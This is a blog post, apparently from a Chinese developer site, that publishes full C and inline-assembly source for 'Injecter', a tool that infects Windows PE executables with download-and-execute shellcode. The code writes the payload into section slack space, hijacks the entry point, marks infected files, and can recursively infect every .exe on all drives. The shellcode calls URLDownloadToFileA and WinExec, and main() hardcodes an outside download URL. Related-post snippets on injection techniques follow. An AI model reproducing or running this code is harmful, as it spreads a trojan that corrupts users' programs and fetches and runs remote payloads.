pe代码注射

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

/*
思路:把一个download && execute shellcode改装注射到pe文件的空闲字节处
enjoy it!
*/

#include
#include

//#define        CODESIZE    439

typedef    struct    _DISKLIST        //用于保存磁盘驱动器信息的链表
{
    _DISKLIST    *next;
    char        RootPath[6];
}DISKLIST,*PDISKLIST;

unsigned char    *injectcode;
DWORD            CodeSize;

unsigned char code_dll_header[]=
"/xE9/xF4/x00/x00/x00/x5A/xB8/x0C/xF0/xFD/x7F/x8B/x00/x8B/x70/x1C"
"/xAD/x8B/x40/x08/x8B/xD8/x8B/x73/x3C/x03/xF3/x8B/x76/x78/x03/xF3"
"/x8B/x7E/x20/x03/xFB/x8B/x4E/x14/x33/xED/x56/x57/x51/x8B/x3F/x03"
"/xFB/x8B/xF2/x6A/x0E/x59/xF3/xA6/x74/x08/x59/x5F/x83/xC7/x04/x45"
"/xE2/xE9/x59/x5F/x5E/x8B/xCD/x8B/x46/x24/x03/xC3/xD1/xE1/x03/xC1"
"/x33/xC9/x66/x8B/x08/x8B/x46/x1C/x03/xC3/xC1/xE1/x02/x03/xC1/x8B"
"/x00/x03/xC3/x8B/xFA/x8B/xF7/x83/xC6/x0E/x8B/xD0/x6A/x06/x59/xE8"
"/x70/x00/x00/x00/x83/xC6/x0D/x52/x56/xFF/x57/xFC/x5A/x8B/xD8/x6A"
"/x01/x59/xE8/x5D/x00/x00/x00/x83/xC6/x13/x56/x46/x80/x3E/x80/x75"
"/xFA/x80/x36/x80/x5E/x83/xEC/x20/x8B/xDC/x6A/x20/x53/xFF/x57/xE4"
"/xC7/x04/x18/x5C/x72/x74/x2E/xC7/x44/x18/x04/x64/x6C/x6C/x00/x90"
"/x81/xEC/x40/x01/x00/x00/x54/x53/xFF/x57/xF0/x83/xF8/x00/x7E/x08"
"/x53/xFF/x57/xEC/x85/xC0/x74/x16/x33/xC0/x50/x50/x53/x56/x50/xFF"
"/x57/xFC/x85/xC0/x75/x08/x50/x83/xC6/x2B/x56/xFF/x57/xE8/xE9/xA2"
"/xA2/xA2/xA2/x90/x33/xC0/xAC/x85/xC0/x75/xF9/x51/x52/x56/x53/xFF"
"/xD2/x5A/x59/xAB/xE2/xEE/x33/xC0/xC3/xE8/x07/xFF/xFF/xFF/x47/x65"
"/x74/x50/x72/x6F/x63/x41/x64/x64/x72/x65/x73/x73/x00/x47/x65/x74"
"/x53/x79/x73/x74/x65/x6D/x44/x69/x72/x65/x63/x74/x6F/x72/x79/x41"
"/x00/x57/x69/x6E/x45/x78/x65/x63/x00/x44/x65/x6C/x65/x74/x65/x46"
"/x69/x6C/x65/x41/x00/x46/x69/x6E/x64/x46/x69/x72/x73/x74/x46/x69"
"/x6C/x65/x41/x00/x45/x78/x69/x74/x50/x72/x6F/x63/x65/x73/x73/x00"
"/x4C/x6F/x61/x64/x4C/x69/x62/x72/x61/x72/x79/x41/x00/x75/x72/x6C"
"/x6D/x6F/x6E/x00/x55/x52/x4C/x44/x6F/x77/x6E/x6C/x6F/x61/x64/x54"
"/x6F/x46/x69/x6C/x65/x41/x00";


unsigned char code_exe_header[]=
"/xE9/xF4/x00/x00/x00/x5A/xB8/x0C/xF0/xFD/x7F/x8B/x00/x8B/x70/x1C"
"/xAD/x8B/x40/x08/x8B/xD8/x8B/x73/x3C/x03/xF3/x8B/x76/x78/x03/xF3"
"/x8B/x7E/x20/x03/xFB/x8B/x4E/x14/x33/xED/x56/x57/x51/x8B/x3F/x03"
"/xFB/x8B/xF2/x6A/x0E/x59/xF3/xA6/x74/x08/x59/x5F/x83/xC7/x04/x45"
"/xE2/xE9/x59/x5F/x5E/x8B/xCD/x8B/x46/x24/x03/xC3/xD1/xE1/x03/xC1"
"/x33/xC9/x66/x8B/x08/x8B/x46/x1C/x03/xC3/xC1/xE1/x02/x03/xC1/x8B"
"/x00/x03/xC3/x8B/xFA/x8B/xF7/x83/xC6/x0E/x8B/xD0/x6A/x06/x59/xE8"
"/x70/x00/x00/x00/x83/xC6/x0D/x52/x56/xFF/x57/xFC/x5A/x8B/xD8/x6A"
"/x01/x59/xE8/x5D/x00/x00/x00/x83/xC6/x13/x56/x46/x80/x3E/x80/x75"
"/xFA/x80/x36/x80/x5E/x83/xEC/x20/x8B/xDC/x6A/x20/x53/xFF/x57/xE4"
"/xC7/x04/x18/x5C/x72/x74/x2E/xC7/x44/x18/x04/x65/x78/x65/x00/x90"
"/x81/xEC/x40/x01/x00/x00/x54/x53/xFF/x57/xF0/x83/xF8/x00/x7E/x08"
"/x53/xFF/x57/xEC/x85/xC0/x74/x16/x33/xC0/x50/x50/x53/x56/x50/xFF"
"/x57/xFC/x85/xC0/x75/x08/x50/x53/x90/x90/x90/xFF/x57/xE8/xE9/xA2"
"/xA2/xA2/xA2/x90/x33/xC0/xAC/x85/xC0/x75/xF9/x51/x52/x56/x53/xFF"
"/xD2/x5A/x59/xAB/xE2/xEE/x33/xC0/xC3/xE8/x07/xFF/xFF/xFF/x47/x65"
"/x74/x50/x72/x6F/x63/x41/x64/x64/x72/x65/x73/x73/x00/x47/x65/x74"
"/x53/x79/x73/x74/x65/x6D/x44/x69/x72/x65/x63/x74/x6F/x72/x79/x41"
"/x00/x57/x69/x6E/x45/x78/x65/x63/x00/x44/x65/x6C/x65/x74/x65/x46"
"/x69/x6C/x65/x41/x00/x46/x69/x6E/x64/x46/x69/x72/x73/x74/x46/x69"
"/x6C/x65/x41/x00/x45/x78/x69/x74/x50/x72/x6F/x63/x65/x73/x73/x00"
"/x4C/x6F/x61/x64/x4C/x69/x62/x72/x61/x72/x79/x41/x00/x75/x72/x6C"
"/x6D/x6F/x6E/x00/x55/x52/x4C/x44/x6F/x77/x6E/x6C/x6F/x61/x64/x54"
"/x6F/x46/x69/x6C/x65/x41/x00";

WIN32_FIND_DATA        fd;
int                    ret;
DWORD                dd;
PDISKLIST            d_hlist=NULL,d_plist=NULL,d_padd=NULL;
char                szWinDir[MAX_PATH]={0};

int    WINAPI    InjectCode(char *lpFileName)
{
    HANDLE    hFile,hMap;
    DWORD    dwSize=0,dwSizeHigh=0,dwAddr;
    char    buff[100]={0};
    DWORD    dd;
    DWORD    dwPeHdr,dwSecAddr,dwOldEntryPointer,dwNewEntryPointer;

   

    hFile=CreateFile(lpFileName,
                    GENERIC_READ + GENERIC_WRITE,
                    FILE_SHARE_READ + FILE_SHARE_WRITE,
                    0,
                    OPEN_EXISTING,
                    0,
                    0);
    if (hFile<=0)
    {
        return -1;
    }

    dwSize=GetFileSize(hFile,&dwSizeHigh);
    if ((dwSize<=0)||(dwSizeHigh>0))
    {
        CloseHandle(hFile);
        return -1;
    }
   

    //printf("size=%d/n",dwSize);


    hMap=CreateFileMapping((HANDLE)hFile,
                           NULL,
                           PAGE_READWRITE,
                           0,
                           0,
                           NULL);
    if (hMap<=0)
    {
        CloseHandle(hFile);
        return -1;
    }
   
    dwAddr=(DWORD)MapViewOfFile(hMap,
                                FILE_MAP_WRITE,
                                0,
                                0,
                                0);
try
{
    _asm
    {
        mov        esi,dwAddr
        cmp        WORD ptr [esi],'ZM'
        jne        _injectnot
        add        esi,DWORD ptr [esi+3ch]        ;指向PE_HEADER
        cmp        WORD ptr [esi],'EP'
        jne        _injectnot
        mov        dwPeHdr,esi
        mov        eax,[esi+28h]
        mov        dwOldEntryPointer,eax       
        cmp        dword ptr [esi+8],'rude'    ;判断感染标志
        je        _isinjected
        mov        ecx,DWORD ptr [esi+74h]        ;得到directory的数目 NumberOfRvaAndSizes
        imul    ecx,ecx,8
        lea        eax,[ecx+esi+78h]    ;data directory  eax->节表起始地址

        movzx    ecx,word  ptr [esi+6h]    ;ecx->节数目        
        mov        edi,eax
        xor        edx,edx
        dec        edx


_loop1:
        inc        edx
        imul    eax,edx,28h
        mov        ebx,dword ptr [edi+eax+10h]        ;SizeOfRawData 28h->节表大小
        sub        ebx,[edi+eax+8h]                ;SizeOfRawData-VirtualSize 剩余空间
        cmp        ebx,CodeSize
        jg        _writecode            ;写入代码

        mov        dd,ebx
        push    ecx
        push    edx

    }

    //printf("%d/n",dd);
    _asm
    {
        pop        edx
        pop        ecx
        loop    _loop1

        jmp        _injectnot

_writecode:
        add        edi,eax
        mov        dwSecAddr,edi

        mov        ebx,[edi+0ch]        ;VirtualAddress
        add        ebx,[edi+8h]        ;ebx->代码在内存中地址

        mov        dwNewEntryPointer,ebx

        add        ebx,0deh            ;ebx->jmp EntryPoint指令地址
        sub        ebx,dwOldEntryPointer
        mov        eax,0FFFFFFFFh       
        sub        eax,ebx
        sub        eax,4
        mov        esi,injectcode        ;更新跳转指令码
        add        esi,0dfh
        mov        dword ptr [esi],eax

        mov        ebx,[edi+14h]        ;PointerToRawData
        add        ebx,[edi+8h]        ;ebx->代码写入地址
        add        ebx,dwAddr
        mov        edi,ebx
        mov        ecx,CodeSize
        mov        esi,injectcode
        rep        movsb                    ;写入代码

        mov        edi,dwSecAddr
        mov        dword ptr [edi+24h],0E0000020h    ;节属性
       
        mov        esi,dwPeHdr
        mov        dword ptr [esi+8h],'rude'        ;写入感染标志

        mov        eax,dwNewEntryPointer
        mov        dword ptr [esi+28h],eax        ;更新EntryPoint

    }

    UnmapViewOfFile((LPCVOID)dwAddr);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return 0;

    _asm
    {
_injectnot:
_exit:
       
    }

    UnmapViewOfFile((LPCVOID)dwAddr);
    CloseHandle(hMap);
    CloseHandle(hFile);

    return -1;

_asm
{
_isinjected:
}

    UnmapViewOfFile((LPCVOID)dwAddr);
    CloseHandle(hMap);
    CloseHandle(hFile);

    return -2;
}                        //异常捕获
catch (...)
{
    printf("error!/n");
}

}


int    WINAPI ckDirS(char *szDir)
{
    HANDLE                hSearch;
    char                szDirectory[MAX_PATH];
    char                szDirTmp[MAX_PATH];

   
    dd=strlen(szWinDir);
    if (memcmp(strupr(szDir),strupr(szWinDir),dd)==0)        //跳过windows目录
    {
        return 0;
    }

    memset(&fd,0,sizeof(WIN32_FIND_DATA));

    strncpy(szDirectory,szDir,MAX_PATH);
    strcat(szDirectory,"*.*");
    hSearch=FindFirstFile((LPCTSTR)szDirectory,&fd);

    if (hSearch==INVALID_HANDLE_VALUE)
    {
        return    -1;
    }

    do
    {
        if (fd.cFileName[0]!='.')
        {
       
            if(fd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)    //目录
            {
                memset(szDirTmp,0,MAX_PATH);
                strcat(szDirTmp,szDir);
                strcat(szDirTmp,fd.cFileName);               
                strcat(szDirTmp,"//");
                ckDirS(szDirTmp);
            }
            else
            {
                dd=strlen(fd.cFileName);
                if ((fd.cFileName[dd-4]=='.')&&
                    (fd.cFileName[dd-3]=='e')&&
                    (fd.cFileName[dd-2]=='x')&&
                    (fd.cFileName[dd-1]=='e'))
                {
                    memset(szDirTmp,0,MAX_PATH);
                    strcat(szDirTmp,szDir);
                    strcat(szDirTmp,fd.cFileName);               
                   
                    printf("inject:%s...",szDirTmp);
                    ret=InjectCode(szDirTmp);

                    if (ret==0)
                    {
                        printf("ok!/n");
                    }
                    else if  (ret==-1)
                    {
                        printf("faild!/n");
                    }
                    else if (ret==-2)
                    {
                        printf("injected!/n");
                    }
                }
            }
        }
    }
    while (FindNextFile(hSearch,&fd));

    return 0;
}

int    WINAPI ckDir(char *szDir)
{
    HANDLE                hSearch;
    char                szDirectory[MAX_PATH];
    char                szDirTmp[MAX_PATH];

    memset(&fd,0,sizeof(WIN32_FIND_DATA));

    strncpy(szDirectory,szDir,MAX_PATH);
    strcat(szDirectory,"*.exe");
    hSearch=FindFirstFile((LPCTSTR)szDirectory,&fd);

    if (hSearch==INVALID_HANDLE_VALUE)
    {
        return    -1;
    }

    do
    {
        if (fd.cFileName[0]!='.')
        {

            memset(szDirTmp,0,MAX_PATH);
            strcat(szDirTmp,szDir);
            strcat(szDirTmp,fd.cFileName);               
                   
            printf("inject:%s...",szDirTmp);
            ret=InjectCode(szDirTmp);

            if (ret==0)
            {
                printf("ok!/n");
            }
            else if  (ret==-1)
            {
                printf("faild!/n");
            }
            else if (ret==-2)
            {
                printf("injected!/n");
            }
        }
    }
    while (FindNextFile(hSearch,&fd));

    return 0;
}

void start(void)
{
    printf("/n");
    printf("Injecter  //--A Tool Can Inject The Download&&Execute Trojan To The PE File/n");
    printf("Written By Ruder [2005/3],E-mail:cocoruder@163.com/n");
    printf("Homepage:http://ruder.cdut.net,enjoy it!/n");
    printf("Usage:/n");
    printf("/tInjecter [order] [param]/n");
    printf("/t[order]:/n");
    printf("-all ---Inject all the exe file on disk except windows directory/n");
    printf("-s   ---under the directory,will scan the sub directory/n");
    printf("-d   ---under the directory,will not scan the sub directory/n");
    printf("example:/n");
    printf("/tInjecter -all/n");
    printf("/tInjecter -s e:///n");
    printf("/tInjecter -d d:///n");
    printf("/n");
}

int    WINAPI    BrowDisk_SaveDiskInfoToList(char *lpChar)
{
    //解码,添加磁盘名到链表
    d_padd=(PDISKLIST)malloc(sizeof(_DISKLIST));
    if (d_padd==NULL)
    {
        return -1;
    }

    memset(d_padd->RootPath,0,6);
    strncpy(d_padd->RootPath,lpChar,strlen(lpChar));

    d_padd->next=NULL;

    if (d_hlist==NULL)        //首链为空
    {
        d_hlist=d_padd;
        d_plist=d_hlist;
    }
    else                    //添加至链表
    {
        d_plist->next=d_padd;
        d_plist=d_padd;
    }   
   
    return 0;
}

BOOL WINAPI BrowDisk_GetLogicalDriveList(VOID)
{
    char            BDBuffer[128];
    char            *lpChar;
   
    memset(BDBuffer, 0x00, 128);

    if (GetLogicalDriveStrings(128, BDBuffer) == 0 )
    {
        return FALSE;
    }

    for (lpChar=BDBuffer;*lpChar!=0x00;lpChar=lpChar+strlen(lpChar)+1)
    {
        BrowDisk_SaveDiskInfoToList(lpChar);
    }
}

int WINAPI InjectAll(void)
{
    PDISKLIST    p1;

    BrowDisk_GetLogicalDriveList();
    p1=d_hlist;
    if (p1==NULL)
    {
        return -1;
    }

    while (1)
    {
        ckDirS(p1->RootPath);

        p1=p1->next;
        if (p1==NULL)
        {
            break;
        }
    }

    return 0;
}

int MakeInjectCode_Dll(char *szGetStr,char *szRunStr)
{
    DWORD        dd1,dd2,i;

    dd1=strlen(szGetStr)+1;
    dd2=strlen(szRunStr)+1;

    CodeSize=sizeof(code_dll_header)+dd1+dd2-1;

    injectcode=(unsigned char *)malloc(CodeSize);
    if (injectcode==NULL)
    {
        return -1;
    }

    printf("%.8x/n",(DWORD)injectcode);

    *(char *)(code_dll_header+0xD9)=(char)dd1;
    i=sizeof(code_dll_header);
    memcpy(injectcode,code_dll_header,i);
    memcpy(injectcode+i-1,szGetStr,dd1);
    i=i+dd1-1;
    *(char *)(injectcode+i-1)=0x80;
    memcpy(injectcode+i,szRunStr,dd2);

   

    printf("%.8x/n",(DWORD)injectcode);

    return 0;
}

int MakeInjectCode_Exe(char *szGetStr)
{
    DWORD        dd1,i;

    dd1=strlen(szGetStr)+1;

    CodeSize=sizeof(code_exe_header)+dd1-1;

    injectcode=(unsigned char *)malloc(CodeSize);
    if (injectcode==NULL)
    {
        return -1;
    }


    i=sizeof(code_exe_header);
    memcpy(injectcode,code_exe_header,i);
    memcpy(injectcode+i-1,szGetStr,dd1);
    i=i+dd1-1;
    *(char *)(injectcode+i-1)=0x80;

    return 0;
}

void main(int argc,char *argv[])
{
    int        orderid;

//    InjectCode("C://NTFSDOS//ntfschk.exe");

//    return;

    MakeInjectCode_Exe("http://www.xloading.com/ruder/calc.exe");

    printf("SizeCode=%d/n",CodeSize);
    printf("%d/n",InjectCode("d://a//pslist.exe"));

    /*
    if ((argc!=2)&&(argc!=3))
    {
        start();
        return;
    }
       
    GetWindowsDirectory(szWinDir,MAX_PATH);
    strcat(szWinDir,"//");

    if (strcmp(argv[1],"-all")==0)
    {
        orderid=0;
        InjectAll();
        return;
    }

    if (strcmp(argv[1],"-s")==0)
    {
        orderid=1;

        if (argc==2)
        {
            start();
            return;
        }
        if (argv[2][strlen(argv[2])-1]!='//')
        {
            start();
            return;
        }
        ckDirS(argv[2]);
        return;
    }

    if (strcmp(argv[1],"-d")==0)
    {
        orderid=2;
        if (argc==2)
        {
            start();
            return;
        }
        if (argv[2][strlen(argv[2])-1]!='//')
        {
            start();
            return;
        }
        ckDir(argv[2]);
        return;
    }

    start();
    */
}
 

<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>
ShellCode代码直接注射到远程进程内部 这里说的是将ShellCode代码直接注射到远程进程内部使它运行! 以下代码全部使用TASM为原型编写(MASM不太适合,不能自定义PE结构,为了某某人说我抄袭和盗版pkXX大哥的FASM大作,我这里就使用国内很少用的TASM为原型来编写代码) 文章假定各位已经有了一定的编程基础 1.远程线程注入原理 先说说远程线程注入原理,以前我们编写远程注入代码的时候总是需要自己计算代码 阅读详情

相关推荐

dll注入系列——内存加载

0x0废话 dll注入的方式和程序正常加载dll模块的本质上是相同的,无非是通过导入表加载,利用LoadLibrary加载和一些系统机制强制加载。要使程序动态加载一个dll文件,也就是执行程序原本没有的代码,势必要改变程序的控制流,创建一个新的线程可以做到这件事。最简单的远线程注入就是利用CreateRemoteThread和LoadLibrary两个API来完成了。 关于注入的介绍及两种经...

40KO的博客 6312

PE网上源代码

PE是一个很久的工具源码

DLL注入技术详解与最新注射器实战工具

DLL注入(DLL Injection)是一种通过将动态链接库(DLL)加载到目标进程地址空间中,使其代码得以在该进程中执行的技术。该技术广泛应用于软件调试、功能增强、逆向分析及安全研究等多个领域。其核心原理是利用Windows系统提供的API(如等),将指定的DLL文件路径写入目标进程内存,并触发其加载执行。尽管DLL注入具备强大的功能扩展能力,但其亦存在被滥用的风险,尤其是在未授权的情况下对进程进行操作可能涉及法律与伦理问题。

weixin_35757191的博客 907

最小PE程序代码

最小PE的程序样例,每次修改后的程序,打包在一个压缩包

PE文件结构及代码注入

PE即Portable Executable,是win32环境自身所带的可执行文件格式,其部分特性继承自Unix的COFF(Common Object File Format)文件格式。PE表示该文件格式是跨win32平台的,即使Windows运行在非Intel的CPU上,任何Win32平台的PE装载器也能识别和使用该文件格式的文件。 所有Win32执行体(除了VxD和16位的DLL)都使用PE文件格式,如EXE文件、DLL文件等,包括NT的内核模式驱动程序(Kernel Mode Driver)。

qq_67812668的博客 1492

PE代码二次编写经验及过程 - 【加密与解密实验】

1.首先我们看看最原始的程序,我们之后要做的工作就是将他的功能进行拓展。   上面这个是使用Delphi编译的一个简单程序。 2.我们使用VC来编写一个DLL,写入主循环。   // lvusyy.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include #

MyZony 738

PE文件硬编码代码注入

以下适合有PE基础的人看,最起码要知道PE的基本结构和rva以及foa之间如何相互转换,不然会看的迷迷糊糊首先我们需要准备一个程序,待会将代码注入这个程序中 随便编写一个简单的程序,将随机基址给关闭 程序编译完成之后就是一堆二进制的数据,如果我们想将代码注入到这个程序中,我们也只能以二进制的形式进行注入,不能像编码高级语言一样,比如我们想将 这段代码注入进去,要求是在程序运行时首先运行这段代码,然后再跳转到之前的代码逻辑 我们想将这段代码注入进去的话就只能将这段代码翻译成二进制的形式,然后再到这个exe

yuge1123的博客 957

PE工具的编写-窗口和框架的建立

PE工具的编写。

zhyjhacker的博客 509

PE文件注入恶意代码改变代码执行顺序教程

E9后面的值=目的地址-(jmp指令地址+5)=00 00 10 00-(00 00 10 32+5)=FF FF FF C9(这里减法是一位一位运算,不够就向前面一位借16), FF在前面表示为负数,即往前面跳转,反写为C9 FF FF FF,所以jmp后面应该跟上C9 FF FF FF,即写成E9 C9 FF FF FF。ExitProcess函数的参数,程序退出码。call ptr[?call ptr[?call ptr[?ExitProcess的函数后面添加MessageBoxExa函数的参数,?

m0_62574258的博客 1261

Ghostly Reflective PE Loader — 如何让现有的远程进程在其自身中注入 PE

我正在研究反射 DLL 注入,这是一项将加载器 DLL 注入到远程进程的技术,然后该进程自行加载(因此称为“反射”),并

人饭子的博客 525

注射的一个完整代码

说明:下面代码是基本的注射,执行的代码在test_dll.dll里test_dll.dll在进程加载后重定位的PE镜像复制一个临时空间,然后FreeLibrary,再从临时空间把镜像复制到原空间,这样实现无DLL.386.MODEL flat,stdcallOPTION CASEMAP:NONEInclude windows.incInclude user32.incInclude ker

1668

em4305reader_Rfid Fdx-b Em4305 148毫米跟踪微芯片注射器带针宠物狗注射注射应答器玻璃管标签 - Buy Rfid微芯片注射器带针,fdx-b宠物狗注射,rfid 14...

Product DescriptionRFID FDX-B EM4305 microchip syringe with needle Pet Dog injection glass tube tagRFID Microchip with Syringehas been developed for subcutaneous injection and it is widely to used for...

weixin_39667652的博客 433

EXP2 分析PE感染程序

1.分析感染后的可执行程序 感染前和感染后对比: main-new.exe:最先传播病毒的exe文件,大小:3KB test.exe:感染目标,感染前大小:2.5KB test2.exe:感染后的exe文件,感染后大小:6.5KB winhex打开这两个文件,利用相关功能分析(查看—>同步和比较) 感染前后文件不一样的地方就被winhex用黑色给标记出来了 一共有四处不一样: 感染前有3个节(00 03)感染后有4个节(00 04) 感染前时间戳为B...

zjlong668的博客 1107

Dll反射式注入法-代码学习

原理 --------------------------------------------------------------------------------有任何错误,请留言指正。 主要功能:将需要注入的dll写入进程内存,用注射器实现LoadLibrary的功能,使用CreateRemoteThread函数将注射器启动。 将待注入DLL读入自身内存,Dll的导出注射器Reflecti...

yshshx的博客 1361

邪恶的RING0注射SHELLCODE

ZwCreateProcessEx 是个非常非常好的东西,虽然他是个UNDOC.但是如果你仔细阅读过WIN2K的SRC,并且非常了解PE的运行机制,你会发现一些很有趣的东西。这对目前的所有NT内核的系统来说都是致命的可以用来做什么1. 制造漏洞2. 提升权限3. 拿来写病毒4. 拿来写各种木马5. 各种ROOTKI但是这里我只想很简单的说一下原理。我只希望这样的东西只用来讨论而已,

1322

Hacker News 项目展览会:从静脉注射微塑料到 AI 代码审查工具

2026 年 2 月 8 日,一个普通的周六晚上,Hacker News 上出现了一则名为「Ask HN: What are you working on?」的帖子。回复区里,这些词出现的频率高得异常——人们不再只是展示项目,而是在展示 AI 如何替他们写项目,以及他们如何与 AI 的产出搏斗。

weixin_43097543的博客 1055

两年前写的代码,现在看不懂了,呵呵,想学习软件加壳的可以研究下。严禁编译运行,否则后果自负。

 两年前写的代码,现在看不懂了,呵呵,想学习软件加壳的可以研究下。再次重申,本代码只供学习研究之用,可以随意传播、发散。但任何人以修改、引用等任何方式对本代码的重新编译运行都是不被允许的的,其后果由编译者自负。 关键字:PE植入,PE注入,加壳代码。 如果阅读者想要尝试编译运行此代码,请务必将所有磁盘内文件夹统统设为隐藏,然后将干净的U盘插入计算机,内附一个可执行程序,然后运行此代码编译生成的应用

yafizyh的专栏 753

反射式注入器+DLL

感觉反射式注入与普通注入的最大区别就是不加载系统的API去加载我们的文件,也就是不调用Loadlibrary,而是让我们手动实现装载过程,网上的文章说可以在DLL的导出表中添加ReflectiveLoader函数调用它。由于调用它的时候,不确定DLL文件写到目标进程的哪个虚拟空间上,所以这个编写的函数必须与地址无关,这种代码叫(position-independent code)PIC,暂时理解成在DLL的导出表写入一个函数,这个函数的功能就是PELOADER。

m0_73193124的博客 1173
上一篇: 用户提信客户端
下一篇: 注射的一个完整代码
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值